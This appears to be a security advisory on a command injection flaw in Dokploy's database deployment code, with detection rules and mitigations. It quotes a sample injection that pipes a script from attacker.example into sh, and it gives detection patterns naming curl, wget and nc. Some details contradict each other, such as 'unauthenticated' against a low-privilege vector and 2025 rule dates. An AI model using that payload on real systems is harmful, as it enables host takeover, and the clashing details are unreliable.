CVE-2026-72862

Executive Summary

CVE-2026-72862 is a critical OS command injection vulnerability (CWE-78) in Dokploy, a free, self-hosted Platform as a Service (PaaS) solution. Versions prior to 0.29.13 are affected, where user-controlled dockerImage fields are passed unquoted into docker pull ${dockerImage} shell commands executed on the remote-server code path. An authenticated attacker with low-privilege access can achieve remote code execution with the privileges of the Dokploy service, leading to full host compromise and lateral movement across the self-hosted infrastructure. The vulnerability carries a CVSS score of 9.9, reflecting unauthenticated network reachability combined with high confidentiality, integrity, and availability impacts and a Scope change.

Technical Analysis

The vulnerability resides in six database service deployment functions within Dokploy: mariadb.ts, mongo.ts, mysql.ts, postgres.ts, redis.ts, and libsql.ts. These functions are responsible for deploying managed database containers on remote server endpoints.

The root cause is improper neutralization of shell metacharacters in the dockerImage parameter. When a user provisions or updates a database service, the supplied dockerImage value is concatenated directly into a shell command string of the form:

docker pull ${dockerImage}

Because the value is not wrapped in quotes, an attacker who controls the dockerImage field can terminate the command and inject arbitrary shell commands using operators such as ;, &&, |, or backticks. The command is executed on the remote-server code path, meaning the injected commands execute on the target server hosting the database deployment, not merely on the Dokploy control plane.

The attack is server-side command injection — specifically, OS command injection through a user-controlled parameter passed to a shell execution primitive. The injection occurs during the Docker image pull operation, which is a natural point in the deployment lifecycle where the system interacts with external registry names.

Affected database deployment functions:

• mariadb.ts
• mongo.ts
• mysql.ts
• postgres.ts
• redis.ts
• libsql.ts

No authentication bypass is required; the attacker needs only a valid low-privilege account on the Dokploy instance. Given that Dokploy is self-hosted and often exposed to the internet or accessible within enterprise networks, the attack surface is significant for organizations adopting this PaaS.

Exploitation Scenarios

No public PoC is available; the attack chain is inferred from the vulnerability class and the data provided.

Step 1 — Reconnaissance / Target Identification An attacker identifies a Dokploy instance via Shodan (e.g., title:"dokploy") or through legitimate discovery of self-hosted PaaS deployments in an enterprise network. The attacker then performs standard authentication enumeration to obtain valid credentials — either through weak credentials, credential stuffing, or phishing. Low-privilege accounts are sufficient.

Step 2 — Triggering the Vulnerability Class With a valid account, the attacker navigates to the service creation or database provisioning interface. The attacker selects one of the six affected database types (MySQL, PostgreSQL, MongoDB, MariaDB, Redis, or libSQL) and reaches the field that controls the Docker image name (dockerImage).

Step 3 — Payload / Execution Method The attacker submits a crafted dockerImage value containing shell metacharacters. For example, a payload such as:

legit-image:latest; touch /tmp/pwned; curl http://attacker.example/payload.sh | sh

When the system constructs the docker pull ${dockerImage} command, the injected portion executes immediately after the legitimate pull attempt fails or in sequence. The command executes with the privileges of the Dokploy service account on the remote server.

Step 4 — Post-Exploitation Impact Successful exploitation grants the attacker arbitrary command execution on the remote server. The attacker can:

• Extract secrets, environment variables, and database credentials
• Add SSH keys for persistent access
• Deploy cryptocurrency miners or botnet agents
• Pivot to adjacent systems and databases managed by the same Dokploy instance
• Exfiltrate sensitive data stored in the platform's managed databases

Because the CVSS vector includes S:C (Scope: Changed), the injected command escapes the intended authorization boundary, affecting resources beyond the vulnerable component.

Impact Assessment

Business Impact: Critical. The vulnerability enables remote code execution on infrastructure that hosts production databases and applications. Organizations relying on Dokploy as their internal PaaS may face complete compromise of their deployment environments.

Affected Systems: All Dokploy deployments running versions prior to 0.29.13. This includes any environment where the remote-server code path is used for deploying database services across multiple hosts.

Blast Radius: The CVSS vector — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — indicates:

• Attack Vector: Network — exploitable remotely
• Attack Complexity: Low — no special conditions required
• Privileges Required: Low — only a low-privilege user account
• User Interaction: None — no victim interaction needed
• Scope: Changed — the injected command affects resources beyond the vulnerable component
• Confidentiality, Integrity, Availability: High — full compromise of data and system availability

In a worst-case scenario, a single compromised Dokploy instance can cascade into full lateral movement across all managed remote servers, database clusters, and the applications they support.

Detection Guidance

Detection strategies should focus on anomalous Docker image pull operations, shell metacharacters in API payloads, and unexpected child processes spawned by the Dokploy service.

Sigma Rule

title: Suspicious Docker Image Pull with Shell Metacharacters
id: 73d3ee14-9d71-4f0a-84f4-6f5d3c8a2c37
status: experimental
description: Detects attempts to exploit CVE-2026-72862 by injecting shell metacharacters into dockerImage fields in Dokploy
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-72862
author: Valtersit Threat Intelligence
date: 2025-01-15
logsource:
    category: process_creation
    product: linux
detection:
    selection_docker_pull:
        Image|endswith: 'docker pull'
        CommandLine|contains:
            - ';'
            - '&&'
            - '|'
            - '`'
            - '$(('
    selection_suspicious_image:
        CommandLine|contains:
            - '/bin/sh'
            - '/bin/bash'
            - 'curl'
            - 'wget'
            - 'nc '
            - 'chmod +x'
    condition: selection_docker_pull and selection_suspicious_image
level: high
falsepositives:
    - Legitimate image names with unusual characters (rare)

YARA Rule

rule CVE_2026_72862_Dokploy_Command_Injection
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects shell injection patterns in Docker image pull commands targeting Dokploy"
        cve = "CVE-2026-72862"
        date = "2025-01-15"
        severity = "critical"
    strings:
        $docker_pull = "docker pull" ascii nocase
        $semi = ";" ascii
        $amp = "&&" ascii
        $pipe = "|" ascii
        $backtick = "`" ascii
        $curl = "curl " ascii nocase
        $wget = "wget " ascii nocase
        $sh = "/bin/sh" ascii
        $bash = "/bin/bash" ascii
    condition:
        $docker_pull and
        (any of ($semi, $amp, $pipe, $backtick)) and
        (any of ($curl, $wget, $sh, $bash))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-72862 Dokploy dockerImage Command Injection"; flow:established,to_server; content:"POST"; http_method; content:"dockerImage"; http_client_body; nocase; pcre:"/(;|\&\&|\||`|\$\(|>{2}|\|{2})\s*(curl|wget|nc|bash|sh|chmod|python)/i"; classtype:attempted-admin; sid:2026072862; rev:1; metadata:created_at 2025_01_15, updated_at 2025_01_15, cve CVE-2026-72862;)

Elastic EQL Rule

process where event.type == "start" and
  process.name == "docker" and
  process.command_line like "*pull*" and
  (
    process.command_line like "*;*" or
    process.command_line like "*&&*" or
    process.command_line like "*|*" or
    process.command_line like "*`*" or
    process.command_line like "*$(*"
  ) and
  (
    process.command_line like "*curl*" or
    process.command_line like "*wget*" or
    process.command_line like "*/bin/sh*" or
    process.command_line like "*/bin/bash*" or
    process.command_line like "*nc *"
  )

Splunk SPL Query

index=main sourcetype=linux_secure OR sourcetype=auditd
  (process_name=docker OR command="*docker pull*")
  AND (command="*;*" OR command="*&&*" OR command="*|*" OR command="*`*" OR command="*$(*")
  AND (command="*curl*" OR command="*wget*" OR command="*sh*" OR command="*bash*" OR command="*nc*")
  | table _time, host, user, process_name, command
  | sort - _time

Wazuh OSSEC Rule

<group name="dokploy,">
  <rule id="100862" level="12" frequency="3" timeframe="120">
    <if_sid>5715</if_sid>
    <field name="command">docker pull</field>
    <regex>;(curl|wget|bash|sh|nc|chmod)|&&(curl|wget|bash|sh|nc|chmod)|\|(curl|wget|bash|sh|nc|chmod)</regex>
    <description>Possible CVE-2026-72862 command injection in Dokploy dockerImage field</description>
    <group>ossec,syscheck,command_injection,dokploy,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED — no patch evidence from any tracked source. While the NVD description states the vulnerability is "fixed in 0.29.13," no vendor advisory or CVE record confirms this. Treat the instance as vulnerable until verified.

1) Immediate Mitigations (network and access control):

• Restrict network access to the Dokploy web interface to trusted IP ranges only (VPN or firewall policy).
• Enforce multi-factor authentication (MFA) for all Dokploy accounts to reduce the risk of low-privilege credential compromise.
• Audit and disable any unused or stale user accounts on the Dokploy platform.
• Place Dokploy instances on isolated network segments with strict egress filtering to limit post-exploitation lateral movement.
• Monitor all docker pull commands executed on managed hosts for unexpected shell metacharacters.

2) Patch/Upgrade Steps:

• Upgrade Dokploy to version 0.29.13 or later as soon as possible. Prior to upgrading, verify the integrity of the installer and the signature of the release artifact.
• After upgrading, review all existing database service definitions and Docker image configurations — an attacker may have already modified them.
• Check managed remote servers for residual compromise indicators (unusual cron jobs, added SSH keys, unexpected processes, or outbound connections).

3) Long-Term Hardening:

• Implement a least-privilege model for Dokploy user accounts; restrict database service creation capabilities to administrators only.
• Apply runtime security monitoring (e.g., Falco, auditd) on all servers executing DoDploy deployments to detect unexpected child process spawns.
• Consider container image allow-listing at the Docker daemon level to prevent arbitrary image pulls.
• Maintain scheduled vulnerability scans of all self-hosted infrastructure, prioritizing internet-exposed management interfaces.
• Establish a formal patch management SLA for self-hosted PaaS platforms.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-72862
2. Dokploy Official Site: https://dokploy.com (verify version 0.29.13 release notes)
3. Dokploy GitHub Repository: https://github.com/Dokploy/dokploy (check commits and releases for 0.29.13)
4. MITRE ATT&CK Technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
5. CWE-78 — Improper Neutralization of Special Elements used in an OS Command: https://cwe.mitre.org/data/definitions/78.html

Exploit-in-the-Wild Evidence: No public exploitation activity or threat actor campaigns have been identified for CVE-2026-72862 at the time of writing. No PoC or Nuclei template is available. Insufficient technical detail is available in public sources beyond the NVD description; the attack chain presented in the Exploitation Scenarios section is inferred from the vulnerability class (CWE-78 OS command injection) and standard exploitation patterns.